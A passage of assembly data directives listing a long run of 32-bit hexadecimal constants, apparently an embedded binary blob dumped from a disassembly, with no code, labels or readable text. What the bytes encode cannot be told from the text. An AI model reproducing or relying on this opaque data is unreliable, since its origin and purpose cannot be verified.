0C3BE8D89h, 101DB022h, 0BA0D59Dh, 8B0F70E6h, 6053A8E9h dd 2D40B15Dh, 17E44D5Fh, 2F0B5910h, 97295A51h, 0BCFB3EA4h dd 2F958483h, 813020AFh, 8C0F6FCFh, 77BA41A0h, 38860565h dd 4EC772C4h, 813D848Fh, 5140D30h, 548320AEh, 129F8B0Eh dd 8395E44h, 24B0048Ch, 678BFA08h, 0F8A528D1h, 0D4AEE909h dd 0A617E026h, 8F025F47h, 79BD8E42h, 5EFE21Ch, 41AFF826h dd 0FDD78180h, 0A110A259h, 79011D2Dh, 6F249181h, 44E2FD74h dd 73007B0Bh, 0C7BFC543h, 48A46EDCh, 64225D99h, 0DD2E8EB3h dd 911E625h, 0CD850960h, 3615325h, 7C0A75A5h, 8819E8B4h dd 8531823Eh, 30DF0681h, 7E72B0Ah, 53BCFF0Ch, 0B82EB046h dd 647D99B9h, 4CA5DE27h, 0B529082Eh, 0BB010DD1h, 30EC8638h dd 8E095D71h, 25DD1161h, 0C8BBF22Ah, 31D22D53h, 0E05DCDBFh dd 0C9F0B87Fh, 0F0DF0F2Fh, 1FF12205h, 0C29D3BABh, 53D51C80h dd 85FC52A8h, 9F881FC0h, 6A311DBFh, 0B9274280h, 0BD550FD2h dd 0DD1B0B93h, 0D0539D80h, 0B8022D8Fh, 0B99501AEh, 38935723h dd 2BF5020Bh, 9DFA38C0h, 0D82D41E9h, 0C2E1BAF8h, 0D3AD46B7h dd 0DC840449h, 8318C0F5h, 640E171Eh, 423DBB57h, 745B4322h dd 3FD7A3Dh, 90EA141h, 0AC9BD99h, 188D3BE9h, 0F62AE1B9h dd 0E157277Dh, 5B022E41h, 0BFC2C65Eh, 933A57F8h, 3CD4025Ch dd 95B95A32h, 80F90282h, 0E05EE6E3h, 0E01AAD56h, 3ED375DCh dd 0B5264301h, 9D2386CEh, 8184D06Fh, 2E1269E3h, 0DEF9421Ch dd 0C5AFF4B9h, 278A634Eh, 0A9802B22h, 0CC952D61h, 890B4FBBh dd 71254163h, 0BC9C2B0Ch, 0D54C823h, 0AEE1FF0Ch, 144E1211h dd 84F1F26Dh, 0B814040Ah, 0F2833712h, 23148DEFh, 50A2FCDBh dd 3AF68A4Bh, 15A75BCAh, 0E5416AA0h, 3B831109h, 26185E26h dd 60DA09DAh, 0EDC48DEh, 9F99820Bh, 0D7069FFFh, 35F20473h dd 0D3800219h, 2D2474AEh, 0FA5AC9EEh, 6FB042F7h, 0FC4B57A5h dd 1008F4D2h, 0BA95FE8Bh, 29B5FFF5h, 82DD2D00h, 12430C2Bh dd 0AC9560ECh, 799D0B8Eh, 0DE305E27h, 89401946h, 77011707h dd 111304BFh, 2131406h, 0F909549h, 65457E80h, 0A9618DAh dd 99578F6h, 93AFF4EEh, 0BFBDB41Dh, 6888CA01h, 0D8031ADBh dd 69EF202Fh, 0EF794973h, 0B06A4112h, 0F07162ACh, 0DB284B1Bh dd 0A21E87F0h, 0C2CAFE10h, 9E676209h, 15561874h, 0C9D45064h dd 0B62A5E89h, 0C5BD1BD2h, 11884FFBh, 8ABCDB15h, 6F4F3100h dd 0E2868CAEh, 0F2C595E1h, 94D950h, 6B7176E4h, 0BB4626B2h dd 5A8AFC05h, 0B1CD8979h, 52B4302Eh, 54B820Fh, 6D13BFF3h dd 0B5DB05A5h, 0E07BFE28h, 9324A17h, 5C8F9F4Fh, 0C5DF803Dh dd 5B07B4BEh, 0B511EE95h, 980B39B5h, 0BB71D8h, 76C0FA0Eh dd 9C0274C5h, 9A678062h, 41085D54h, 4C7B27E5h, 0BCDA278h dd 9A6D4E6Bh, 4B2AB398h, 6CA86100h, 0C11C42C5h, 9BB802F0h dd 52CDB37Eh, 997ED4Ch, 70435BBAh, 0C5123FB1h, 580096F3h dd 0BF505408h, 0CD1EDA5h, 453755EEh, 290CC700h, 951EA19Dh dd 80841B7Bh, 8BABE1C3h dd 72F459F9h, 0B06053C3h, 91962E0Ah, 0C8703FCBh, 0E2BE8920h dd 7D5851A8h, 630078B7h, 76FF8613h, 8C7E3AEAh, 0B67292Ch dd 5E5E0CB5h, 619BB3E7h, 92805632h, 0F5BA71Bh, 0F95B8B31h dd 47DB3124h, 790643C0h, 6D25C0D7h, 642DED2Ch, 0D8B86214h dd 32D127F8h, 0A27B9456h, 0C4D0D7BDh, 0F1408D96h, 0F4D78F1Ah dd 6EFB0485h, 0AC5BBB09h, 660BA2FCh, 0F4F614C6h, 8B89AEE9h dd 0A5DDF271h, 70D43E5Ch, 3509014Dh, 754E03F5h, 766820FDh dd 0F4DC99B4h, 41EE9653h, 0E0AA5816h, 6200AC76h, 7C71E170h dd 120BBB5Fh, 0F20440ABh, 93A88E08h, 0BEE872BDh, 58A4E3Dh dd 7E73C832h, 0D678F52Ch, 1AAB253h, 95B10D9h, 2BC53A8Eh dd 811C6860h, 0EC2A2A5Fh, 7DA98A80h, 0F94B0D01h, 813BF18Dh dd 3A4B50EEh, 3D7BC3A6h, 8C4B5FEBh, 729596CFh, 0A3BF0464h dd 0AE392C3Dh, 0DBF93CDh, 44E4BB82h, 35FE664Ch, 96D004B7h dd 4A719589h, 6B559D2Dh, 0C6763C9Dh, 91DE4A0h, 8BB70812h dd 80622AAEh, 206B6FB2h, 0CA562F73h, 0D0BFDE63h, 2F019D0Bh dd 446EEB5h, 80BC58BFh, 0D0AAB845h, 0A7F90993h, 0D663D640h dd 0AB001B46h, 493E19F5h, 0E501D2CCh, 40BBE781h, 52E4394h dd 0F99D89A8h, 91C54A2Ch, 0FCC93412h, 0C271242Bh, 72C4C521h dd 5CB88625h, 0B401F6A1h, 0CB5FE38Bh, 803ABC55h, 0A1B589D7h dd 0D23F2A5Fh, 0F0021523h, 0E28D8940h, 87ED5FECh, 0ED601BE4h dd 6004E3FEh, 83397522h, 9D4F60FEh, 96813035h, 26804268h dd 162C4B27h, 0A75B3605h, 30BF2057h, 0F63C3510h, 87162F00h dd 0CB253DD4h, 509662FBh, 5DB2227Dh, 2BB18282h, 0A5F1F109h dd 359F616Eh, 950C0000h, 0BC9DFE7Fh, 7D53C909h, 3A345733h dd 274AB75Ch, 0A0F2D857h, 5243440h, 0B88AC0BFh, 566BAE0Ch dd 0FC071A23h, 65155B9h, 46FF7AAh, 0B9227FD9h, 8C18AC45h dd 0D7217B0Bh, 90AFEF8h, 7E712B39h, 991DBB40h, 5B11251Fh dd 56B548CEh, 8B1DD4E6h, 0C5251428h, 45C1144h, 8ED8589h dd 0BD7374AEh, 9B0B855h, 6ED4A2D0h, 0C2788BD7h, 235D56FFh dd 4F7F5829h, 57B6CD00h, 0C9B531FCh, 5C1E972Bh, 16DC9B96h dd 0B2259F8Eh, 8DB2022Fh, 7089C762h, 0E95B13C9h, 9B17AB56h dd 77000EB2h, 6935551Ah, 0CE0993FDh, 74F927B4h, 0C1AF3922h dd 6DB52558h, 60186455h, 13A1FEBBh, 0FF60FACEh, 1C6166C8h dd 978D6FBFh, 0D4BD031Ah, 0B21D905Ch, 4D6550FEh, 0D148C348h dd 7FDEBA2Dh, 928348B7h, 0A0685834h, 4C334C02h, 0D111ADE5h dd 3DF6932Bh, 0A2E623A0h, 0BD121A03h, 0A28B4FD5h, 92C45559h dd 96E0DD20h, 0A11FDC93h, 0A8C10540h, 0D04842F9h, 478132Eh dd 122A5951h, 0BBB930FFh, 29F26A86h, 21198514h, 0D460286Eh dd 6F53BD5Fh, 0C465A30Bh, 0A0D20FB2h, 0A156FB7Ah, 109B3EF6h dd 90FA3E80h, 17C009E9h, 1E8E65AFh, 7B2E0925h, 5D71188Bh dd 0B70FB4B0h, 2B1A97FEh, 78D9A007h, 6CC1FF17h, 0E32A18C1h dd 0F3578968h, 67B280BAh, 0A66D42FCh, 3D1B8595h, 970297E4h dd 0E922805Ah, 0DC581E0Dh, 0BA8EC009h, 0DEFAE468h, 504A2676h dd 19ACAEEDh, 0C1FE028Ch, 10CF0EC2h, 1EBD3740h, 0B578E980h dd 0E708D967h, 5BD620E0h, 0A65A17B5h, 3A1EE3BFh, 6B41FDFCh dd 6BAA27C5h, 1C23B2h, 5AF950D6h, 0B417EF9Eh, 4EC73C96h dd 1AEED934h, 0A5B0888h, 15737771h, 9EDCD700h, 7AF27F79h dd 97FFED12h, 398466B2h, 7429AE05h, 800D9B2Fh, 4C73D6BDh dd 5FA30532h, 488EC8Bh, 0AB2931DAh, 18BB2E9Dh, 49762EAEh dd 6A20A275h, 0DC8576FFh, 10CFE95Ch, 0E5842B59h, 747ABF26h dd 9BE1800h, 9E3AAA6Bh, 39A0CF10h, 0D18EEEC0h, 0E001EC9h dd 0C5B23853h, 3C19DCC8h, 2FCCF560h, 12103110h, 0AEB6615Eh dd 88C1CC29h, 0B0172A19h, 0E6168300h, 619D3370h, 71E41995h dd 1D45E023h, 9A457195h, 975445AAh, 1295202Ah, 8A035794h dd 0C1E2C77Bh, 0D5739A5Fh, 4325F7D9h, 0C986129Dh, 3C9DB222h dd 24F99229h, 0D10199B5h, 61070D31h, 0DDBD01D1h, 0BB338F2Ch dd 61E96687h, 0C7802F63h, 4C446960h, 6AF9D9E3h, 0B860C5CCh dd 4DF70BEh, 0D88B4A9Fh, 218CAD61h, 30D58811h, 0B1F3491h dd 0AD6D269Dh, 123EBD53h, 8AB91591h, 0C0C6198Bh, 0D0593395h dd 0B0442EBFh, 545382BDh, 6399C34Ch, 466FEBE4h, 0A08C7000h dd 194BF1Ch, 0EF59D12h, 1DC840CFh, 0F471E9C0h, 85B602BBh dd 79EFD92Bh, 0B616556h, 1A2425BDh, 0F1225B9h, 19450E68h dd 975A6CB5h, 0EA021D35h, 7F11A14Bh, 0C9084AFBh, 64582509h dd 3295AD77h, 0C9F4822Fh, 4C530920h, 57181B51h, 8FC78801h dd 354D7FBAh, 29046B21h, 23807FABh, 2D7D0019h, 0FC2A62AEh dd 0D9489BB8h, 326D1348h, 0FD029ABh, 0C796C02Fh, 505EB8BDh dd 5EE5A2C6h, 5AC2E706h, 7D697888h, 13012562h, 3595796Eh dd 787F00EDh, 8FBB1B19h, 21556E02h, 5F0960A9h, 534F73E4h dd 591561F3h, 0C95B4561h, 73CB2A61h, 15120892h, 56E27642h dd 1491514Eh, 5001B00Bh, 9FB8705Dh, 8467A56Fh, 72D060C1h dd 0C862352Bh, 93A07FF1h, 8B0277BDh, 0A8E6F944h, 114597Bh dd 7FAE60FFh, 0AEA62BD1h, 8000B171h, 100A1A2Ah, 0F70094A2h dd 793D40A9h, 4AFF319Ch, 556EE1h, 0A2D8C542h, 24611DCCh dd 129FFBCAh, 0A90CC4B9h, 5B52A1B4h, 16B2282Bh, 0F4DE3EFFh dd 229FD581h, 5B882A8Ah, 0D6280FCDh, 2945B570h, 5FEE229Dh dd 0A251DC56h, 0BA0BFA14h, 80C0B760h, 953151ACh, 0C897024Dh dd 98D98C21h, 8AD825DEh, 870FA960h, 0E01CF69Fh, 8AC60CC0h dd 7D60032Dh, 95095B10h, 25997D4Dh, 6AA86961h, 9D8EC114h dd 10A1042Bh, 0B14E0DA5h, 0D358A093h, 7B92C2Eh, 0A6462545h dd 0B0049CC8h, 90F741D8h, 59CFBB03h, 135010EBh, 0E6927616h dd 5E43F0A7h, 0BF01017Fh, 3E7CA423h, 1CB448E8h, 0B72DDC00h dd 785AEBE3h, 0E98907AAh, 50F373ABh, 0BF265D40h, 0FAE43E50h dd 0CA6A5F24h, 26D402F4h, 60CBE2C0h, 4E491055h, 47FC00DAh dd 0FF728BC5h, 0CE390582h, 0AC2100D6h, 0FC628077h, 0F8C84FB1h dd 3069120Ah, 0E5A939AAh, 0AA138008h, 88271DE2h, 135409B7h dd 0D8930F57h, 4642FE85h, 75E456BBh, 527DDA66h, 0BB3B1095h dd 6B7C457Ah, 0E3006B6Ah, 0D30243FAh, 51936E1Dh, 0C68E253Bh dd 761C2D72h, 44391473h, 385D044Ah, 0C1F6688Ch, 2B104DD1h dd 37511EDCh, 0AFB83FB7h, 7243158Ch, 0BF6D0162h, 6B0A5CDEh dd 75001444h, 1F64CDE5h, 12270E6Ah, 0B93A6563h, 8C1CAC9Fh dd 0B360DA00h, 1730190Fh, 89D74B0Bh, 23DB3E02h, 0C2E97EC1h dd 9DAAF8A6h, 0FBCDB04Ah, 40691020h, 589F0B19h, 65995E3h dd 270AD188h, 80C1EF54h, 0D06A15D7h, 96DCEBCBh, 50DF8B17h dd 7D8134ECh, 0F4771284h, 4900D92Dh, 32F19DC5h, 0F7A40B56h dd 80259B6Ah, 7BBFBA42h, 287F2597h, 680B9966h, 46C742Fh dd 0EABF84Bh, 73EFD0C1h, 0E179E636h, 77D6B903h, 0AD2CC304h dd 24E6D677h, 0F62C5E0h, 0B19D0315h, 270658ADh, 92E79FAh dd 96572BEDh, 9AB5955Dh, 6D026713h, 75725DB4h, 12DA8C6h dd 3597128Dh, 0E3D28464h, 7962EBD4h, 95A358D9h, 26A0A516h dd 47952DBDh, 0AF7E2791h, 517B7AFh, 0C256E8D3h, 37AB21B5h dd 551DE25Fh, 1DF1A635h, 0CAB8FC19h, 0DEE47C01h, 0A395E868h dd 0A85DE920h, 1353BBEFh, 0F1342DA7h, 9C55FAE8h, 81604498h dd 9AAEB1Dh, 0B3D34AD4h dd 0B2275E4Dh, 1D2B006Fh, 71567876h, 0E786014Bh, 1C5BD5A1h dd 15CD7E68h, 0F07A652Ah, 599D0C59h, 35DF6927h, 0F3AE1CAAh dd 0F5011DDEh, 0A1F3BF5Fh, 362B7798h, 694A761Eh, 53A99112h dd 0A8ECEDD2h, 0E3770085h, 9A7BEF2Bh, 9627FB8Bh, 6928FE57h dd 0FECECEF4h, 0CF604E2Ch, 0BF81D8Dh, 965F5599h, 0B9705E7Bh dd 90BA2B66h, 609327AEh, 1F3FABD0h, 218C9F02h, 0C009AEC2h dd 95285974h, 50B25E6Eh, 1125BDFEh, 0A1615B05h, 1A587F8h dd 30ADC765h, 5FA83A84h, 0E1A92609h, 71E4468h, 7CC1F0A0h dd 0DE5AFC25h, 64856DB5h, 3094601Dh, 21740158h, 16970E9Ah dd 0CF132B3Fh, 0BF5BB77Eh, 1CFF6E75h, 0EA5625B9h, 5003535Ah dd 0CF014D49h, 743ABFD9h, 122B5BB8h, 0B84CB9EFh, 0A4591D10h dd 0EB0C8FC2h, 1E7B6C0h, 9B755BDh, 0AD14580Ch, 167FE326h dd 185FA1CAh, 209D33C5h, 0D903109h, 55FC2B09h, 0A63F7135h dd 95F51226h, 2A2082F3h, 0F8E2455Ch, 0F04D576Ah, 1EC037E4h dd 1B8BE769h, 6B154DBDh, 0B5C7ACB4h, 0F7E025F6h, 0F476CDF5h dd 7CA5B8BCh, 8809F417h, 5850A006h, 792E93C0h, 0B622CC38h dd 99D39E04h, 0BFC5A7B7h, 31AAD0D4h, 6B3EB3D2h, 14C889DAh dd 0BB7D4C1h, 874B63Ah, 791839B5h, 9D89112Ah, 961B02FBh dd 0A9B7BF66h, 3D71DFh, 981C6B0Bh, 13FEB15Bh, 0A71D6200h dd 587E1EB9h, 8AB34802h, 0D604963Fh, 0B9030D90h, 8C19AC54h dd 3CDCA00h, 0B768BBA6h, 4798C444h, 0D454B82Dh, 0F005AB1Ah dd 0AFB3E37Fh, 4AAC1824h, 0E8C6F94Ah, 92BBA354h, 0BF9CD52Bh dd 6E3F6145h, 0B9CD1F4Ch, 0A768F3C0h, 0B8042BDAh, 97857014h dd 0D9947016h, 5FE801D4h, 0BCCB066h, 21D0206Ah, 0C3A8255Ah dd 78E18DC7h, 0DCE456D2h, 0BB18F05h, 4CB85D59h, 0B87CE916h dd 2D4E5005h, 0C1DF2763h, 0B57388BBh, 3D3A976Ah, 0B61B55Dh dd 6F849026h, 44AA530Ah, 137CB296h, 0A6190A1h, 0E376F2Bh dd 0BFFC93CBh, 8881CFDFh, 6A5B48DFh, 1D616F3Eh, 0BA410DD9h dd 21DBA970h, 41B0C837h, 732810E1h, 4A05A4C6h, 56064CF0h dd 5C06D81h, 0F9F04136h, 0E400CEBBh, 34BF7409h, 9E2531F2h dd 4AE20934h, 7A018F61h, 5F6A7522h, 7FE04D4Dh, 2718BA9Eh dd 5171A267h, 6EB86D00h, 3FBC5868h, 0B717977Ah, 3429E85Ah dd 0CCEA6AF9h, 0BC0593FEh, 952947E7h, 5B09DCEDh, 2F71DC8Ah dd 0EF084ADh, 925D2909h, 613A552Fh, 12D45454h, 0E2D1FF31h dd 837E8846h, 2BFC026Ah, 4A057420h, 1A290h, 37422E3Ah dd 0F6EAEE1h, 0D6524546h, 7C913260h, 0CC0BE0BBh, 405B5DB3h dd 4B7D039Fh, 0E3C4A690h, 0F792FA4Eh, 6ED6240Eh, 11823B0h dd 0E40EE9D2h, 0CCA76A10h, 121F1510h, 6DE3BDE9h, 17F05484h dd 82604982h, 12CF5DFh, 34498523h, 379F61BEh, 0BDFD0B71h dd 719B6C7Dh, 186E9525h, 2D090CA0h, 800B5182h, 6B14A879h dd 7992ED97h, 3C641097h, 9BBC0F07h, 0E5941562h, 0B746D84Ah dd 42292EEDh, 34A8A62Dh, 0A0EC8315h, 0AF19003Dh, 9A3B1720h dd 98D625C0h, 0D3A5D053h, 9BB8533Eh, 711D8982h, 0B4529C94h dd 79832C8h, 623A265Eh, 5F17C07Eh, 0C800CC9Fh, 9ABFBE5Dh dd 981B5590h, 9F56BD87h, 0BF72DCh, 0F28DC2E6h, 0BD890550h dd 0D19A92Eh, 5D25F542h, 160076BDh, 0D833D1B8h, 31EB1650h dd 158F2FEh, 7F5D3BB0h, 7BCC38F6h, 9CA6028Ah, 348C24F4h dd 0B4B90255h, 0C2775CDCh, 0F823012Ch, 852981B0h, 0AA6E563Fh dd 0B995EB02h, 0C660112Ah, 0EFA6DAD9h, 1C26CD08h, 97C6461h dd 877121E1h, 0D44CFA91h, 0AC24AD12h, 0B9608324h, 40FC2E3Fh dd 61C10976h, 90E9471h, 732D3C8Dh, 0ADB58463h, 9789B81Bh dd 2C3409EDh, 897DA82Bh, 10917061h, 4F1D39BDh, 3F6F33BCh dd 38BD18Ah, 0A7E9F49Ah, 808C775Fh, 2DBD3631h, 5009EACFh dd 747554Ch, 782FB5F0h, 2D43BA87h, 75C610Fh, 1B10C542h dd 1B4A827Ah, 302233B3h, 20504E9Fh, 0E9352E19h, 0E4BB175Eh dd 4A0091B9h, 862EF6FDh, 905D2ACh, 723EA09Eh, 9D93B0FDh dd 5B9CA9F1h, 9C6302Eh, 2B4745B5h, 30912A22h, 0AC56F944h dd 1955A156h, 478A0909h, 0AB2CD41Dh, 27AB2328h, 6FED4C72h dd 9EAD3BE0h, 0ED224A58h, 658D8484h, 0B44314CDh, 0A6B14A9Dh dd 3219B222h, 318B6B74h, 0F717015h, 0FAB96B9Ah, 0E92DAD97h dd 0DF75827Fh, 0E32CF65Ch, 0B65FD90Eh, 0A702576Fh, 0DBFD6126h dd 488065E0h, 0C02BF813h, 0A8B811A9h, 0EF801A18h, 7BFF9A2h dd 799968DEh, 0E05E0BBAh, 957138E0h, 0F34C0042h, 75735510h dd 0E14BF080h, 0CF40F58Fh, 82D7AAD9h, 5C0577B9h, 59614BD5h dd 0C08C3D27h, 6341BB53h, 5F1D3BA2h, 6558700Fh, 6E6BABB6h dd 8259604Ah, 5800FDCCh, 6B6AAABBh, 4DBD0B1Dh, 0A24A74B5h dd 599AF534h, 0D7C05DCFh, 3A471BC5h, 6BD5BB0Eh, 48F65308h dd 96C2A8E2h, 15CF5080h, 0BE4BB302h, 8722E38Ah, 0DD9D290Bh dd 80305D2Eh, 82007D30h, 0D1BAE18Bh, 24CCD5Dh, 6F139AC4h dd 78E07A22h, 0B84F4762h, 0D680409Fh, 0C0EAD87Dh, 9ADE8604h dd 1BC5D95h, 0DDBD09C1h, 768D6B27h, 0BAD3DC5Ah, 0B653B835h dd 0FBBD1716h, 75128C48h, 88D9E330h, 7310AD17h, 191C5246h dd 0FE022C1Dh, 5C669D98h, 0B556D2E6h, 0C714D351h, 129E250h dd 1569B521h, 60DC8A10h, 0E88089B9h, 0BE397F1h, 0CF531273h dd 5BACE10Fh, 0F994C038h, 27ACD916h, 35C6EECFh, 0D1BD2308h dd 0D6622525h, 0DC5B5Eh, 869EB3C1h, 0CAB0D49Ch, 935CE425h dd 0EFCFF067h, 0AA0F481Fh, 0E0ADBD13h, 2EE35F10h, 0AD2EF048h dd 65DDFB60h, 55079A95h, 9ACD6E3Ah, 3F127C60h, 2FD0C13Ch dd 30907E6Ah, 0D53BCF99h, 0A1855050h, 25312D51h, 8F2D7E81h dd 13FBE23Fh, 37FACD3Fh, 17A790D1h, 12C22B89h, 5CDBB350h dd 0AACBAF60h, 0F3009385h, 0C58A461Ah, 40FDF63Ah, 3CE9B009h dd 0D5EAAA7Dh, 5ECF2419h, 0F3496150h, 532DF336h, 5B0B8B01h dd 0B8962958h, 4EF01D07h, 0BD05A8E4h, 786B1E74h, 459D13D1h dd 796FAB22h, 0B4001A23h, 1315CB9Fh, 84E44B90h, 8A7BAA98h dd 7AD3F100h, 421FCCE4h, 0E96AFE09h, 0BF2920AFh, 4B5B09F9h dd 7AB48D43h, 9992DBA8h, 2A99F0F4h, 0BFA16E95h, 79003264h dd 0C2BAA86Fh, 3EB6D19h, 8EB5E6FCh, 28D84E2Eh, 763A508Dh dd 0CA977229h, 6BB156B3h, 0D37078F3h, 0CAE80037h, 4EDFE28Ch dd 1809BBD9h, 0A93A0D92h, 0EBB55472h, 0D853937Bh, 4F9AF8C8h dd 2FF4EC6Fh, 80A6B789h, 970A7BFFh, 77E1372h, 0F90E7A12h dd 0BD03E960h, 56214F11h, 0A92C125Dh, 30A696A2h, 68F56EA1h dd 0DEA94A8Bh, 0B4F850ECh, 8B00FC46h, 94F568FAh, 9979685h dd 2565C42h, 69996F0Ah, 1EDC79F6h, 823FC0F9h, 8DEA890Dh dd 0FA508445h, 8C70D0h, 49E0A71Eh, 2D8D894Eh, 7B4E1B4Bh dd 0BD121169h, 3010F5F9h, 4998CE4Eh, 4C5E5320h, 0E8DB3B57h dd 0E55586D2h, 4A61989Bh, 67950C71h, 3EEFA471h, 9D2B0DE0h dd 1C970A31h, 0E93E44D2h, 0E0051150h, 0EAD2BB01h, 4F9137F2h dd 3839DC4h, 0C9C1E27h, 374EE962h, 5EF0ECE6h, 0E052815h dd 666E8EF5h, 0E8238EEAh, 91A459Dh, 32CD897h, 9181770Bh dd 82165551h, 44CC9495h, 14900128h, 31CD4FF7h, 0FE8B2715h dd 0C82EDA2Ah, 0BBB8E015h, 0DB7FCC6Ch, 91D03597h, 836D8119h dd 0AFD4EF7h, 642B372Eh, 0CFC4B8DEh, 79A9D209h, 0ED79962Dh dd 0BDFB389h, 0FD6DF07Fh dd 954F1A2Ah, 1455156Ah, 63449742h, 0DFAE8000h, 2878487Ah dd 4F6E95DBh, 2C604BADh, 7531410h, 0A8FA269Eh, 406D1AFCh dd 0CE89E7BBh, 7C8C0B4Bh, 0B9953F29h, 0B475A8DAh, 0BE03AB6Bh dd 37E4836Ch, 3E9509B1h, 0BD0B6F41h, 0D42D2591h, 0C88060C0h dd 85F4896Fh, 615A15BAh, 593ADEA2h, 28F12A41h, 20D5E621h dd 6FF2F536h, 9CF94C55h, 505125F6h, 77E7C68h, 0F46FB5A1h dd 7E8B6B89h, 804E0242h, 0E0F44FB5h, 8A718327h, 0F7A9FE4Ah dd 258C15ACh, 0E9D8CF06h, 0A6E7572Ch, 8ACF543Eh, 8596DC3Dh dd 95E026BBh, 0BF5045C0h, 0E9FE4C5Ch, 91D6A07Eh, 4B6E910Eh dd 95A29D8h, 9AD295A2h, 386180FBh, 16E65D80h, 0DE6774h dd 62CF8144h, 7F4B2744h, 6D34008Ah, 0F6DBFE3Eh, 79E638C1h dd 0B8D33F7h, 5D25CCEAh, 4D8279A0h, 3002731Ah, 8345B1E1h dd 0F7C6DF4Fh, 3405D94h, 28D3208Bh, 0BE9EF5BBh, 463A0E18h dd 0BF3489E4h, 0CFC94EDBh, 916435DDh, 8A198117h, 0DA2AAF6Ch dd 0C01DC88Fh, 0A0E3BE32h, 1071CD1Dh, 9CC1242h, 5FEAD58Dh dd 0A9FCC1D7h, 0AA77133Eh, 9D824A2Ah, 0F48F8E7Ah, 0BF6604B1h dd 72B87521h, 0CE9DC8D7h, 0FED6973Fh, 0C59AAE09h, 1094F620h dd 0C55B250Ah, 0F77A1665h, 5B83B0FFh, 0AEDE05F2h, 0E2ECB30Dh dd 12C802AFh, 0D4FB4873h, 20340014h, 917644A2h, 0C6AB7825h dd 5A229873h, 5A20B779h, 2EA0CFF6h, 2500DEABh, 0DA52C1EEh dd 2F60D7E8h, 805E39B0h, 61C64EE1h, 3B7E3D2Eh, 0D587D89Ah dd 76A9201Fh, 0A791576Ch, 66BD3D80h, 0CA4FE6h, 32DA3CF9h dd 8485D9F1h, 4A09EAECh, 705DE95Bh, 689AC194h, 26C18BE6h dd 2B9DF075h, 347C5FD1h, 0D4B2AC39h, 9EDE09CAh, 24DD1890h dd 79EB18D8h, 0BE31E82h, 1C007E9Ah, 9049584Eh, 2512C781h dd 0DF09CD48h, 0F80D6D74h, 0F63F0E78h, 5AB8E072h, 538D5F31h dd 7118FA17h, 0B7FFBEACh, 0B51057F8h, 0C54A09D1h, 0B630EB68h dd 13C9C3BFh, 0AA904E3Ah, 3D86D005h, 0F4020BBh, 96F66F1Fh dd 80D75638h, 94416B5Eh, 9A6178ACh, 5A1E7F4Fh, 87791B90h dd 0BD01CC0Fh, 5E08D431h, 0D5278709h, 0AF9CA416h, 0A72D00D4h dd 0DBAE84C9h, 0CD4C51ACh, 50912F2h, 0B24F47E7h, 0D45B00EEh dd 0A059C4A1h, 0ED4500A3h, 72C09650h, 6512EC16h, 7AABA62Dh dd 4929013Bh, 0FFE5EFF5h, 2B7F33Bh, 0B5F454BFh, 516E5C35h dd 57921584h, 1D66552Eh, 0D8EB5B7h, 395690F1h, 8DC84D5h dd 0DBBC4585h, 0C37A819Dh, 28A7D9F3h, 0B14D802Ah, 50E9879h dd 5FF0A8E5h, 0E49DF690h, 89E8C8BFh, 2854F99Fh, 0EB390B7Fh dd 42B0563Eh, 255D8529h, 0D3E912F5h, 0C88474E3h, 0FA8B04FFh dd 80B09BABh, 0DFA3B296h, 0D86E9559h, 216EF68Dh, 0DB2C7E8Ah dd 5F7816Bh, 0C250021Ch, 0ADC5F506h, 0FEB9C700h, 4E47F917h dd 807002F8h, 45F52FE7h, 2D4508E1h, 0C9E42Dh, 828E018Ch dd 0BB987C3Eh, 6541EA00h, 2B5A5460h, 9AB01784h, 1040BC37h dd 5F25269Dh, 4F5F9DCAh, 0C97C6977h, 3E4D7E80h, 2D090815h dd 9B7E999Dh, 7B9A6AA5h, 0CE57832h, 0BF837500h, 94E19DB5h dd 81600057h, 5EE3AD9h, 0D1128077h, 8EE161F7h, 0BF2A8C3Bh dd 0A6A97B0Bh, 0AA108818h, 0C8EAC827h, 7DB209B8h, 3B736BB3h dd 29164C11h, 0BB4AF4B5h, 6F6AD805h, 17F8B02Ch, 0B2D4F0D7h dd 70E6A905h, 0D7AA9AB7h, 621E3400h, 0F1512421h, 11096AD4h dd 0B3672FBh, 258D29F9h, 0C0BD5258h, 89158916h, 0F42BDEE8h dd 45ED80A9h, 94AC70F7h, 1E46291Eh, 585B4Bh, 0A26D7F17h dd 58199760h, 7E906AF9h, 5F442AC3h, 205BA852h, 0A95F4E05h dd 0DB8104A5h, 66FC576Bh, 702AF80h, 8E00DED2h, 0CB2FA141h dd 7661EE85h, 0F81F2DB5h, 81801F56h, 2A298EFh, 0C82B0049h dd 31D18BFCh, 699AAD9Dh, 57D7E976h, 8AA388ABh, 190EFD4Eh dd 0F644094Eh, 0D7806282h, 0DE8BECC0h, 99610A97h, 3D2A4D60h dd 8A4712ABh, 0B98C04CAh, 966DB80Fh, 0E8F88h, 96D8C9D3h dd 5DADA8F8h, 0A2B83100h, 7F8D51ECh, 0BEBF2DA6h, 5B646674h dd 0EF2D75AEh, 0E9124CB2h, 69C73139h, 2D9C2B1Ah, 0EA519DB3h dd 0BB822290h, 5B5C2AB4h, 6D9D89C1h, 8984090Dh, 710CD10Ch dd 81A5425Bh, 574C7F0Bh, 0CE97C71Fh, 48F7D381h, 0D86F704Fh dd 770934C1h, 801B93F8h, 0F2D45652h, 0AC9901F1h, 75BCC98Fh dd 535CE6B3h, 531080C9h, 5E02B9F9h, 0FABE420Fh, 175C1CB7h dd 0C0EB4D25h, 9C7D32AEh, 0FC04B376h, 1DF59D23h, 0BD0371AEh dd 543AC609h, 0FA004EF7h, 19B0D9C2h, 0A01E2301h, 8EF141BEh dd 68DB4A1Ah, 4EB7E283h, 955CBEB5h, 0CBAD4813h, 4BE62BBDh dd 0AF35C44Ah, 0AC801B9Eh, 0F4A34180h, 9003DD2Fh, 4986D9h dd 76041B64h, 9B68D751h, 97F9BCD2h, 939A5F27h, 0CB2470F8h dd 0C90B3A73h, 0BBB5523h, 9755F9B2h, 5B5A28DFh, 0A190B730h dd 62F63A0Fh, 0AF4DFCBFh, 200D2C4h, 0A71BE593h, 0CEDB4997h dd 0DF84CBB8h, 0A32FB85Fh, 7AEF8545h, 83C61C87h, 166A7780h dd 38D10914h, 2045B832h, 7B1329A4h, 64AA31E3h, 18A50035h dd 56E1FFE9h, 0F9850112h, 0F26F2DB1h, 7E98C87Eh, 0ADB3B095h dd 0B3B71283h, 88FEB248h, 2FFBA086h, 81650C49h, 9F3D8688h dd 1FB94B0Bh, 0FF2630F7h, 4B4D028Dh, 36CF0412h, 3854BC0h dd 21095F8Ah, 0E6940258h, 113502DCh, 0D188F173h, 0FE402576h dd 0BE464AC0h, 8A07C244h, 0A4F50862h, 0EB85B42h, 3C606E4Bh dd 4CD2002Fh, 6CA23863h, 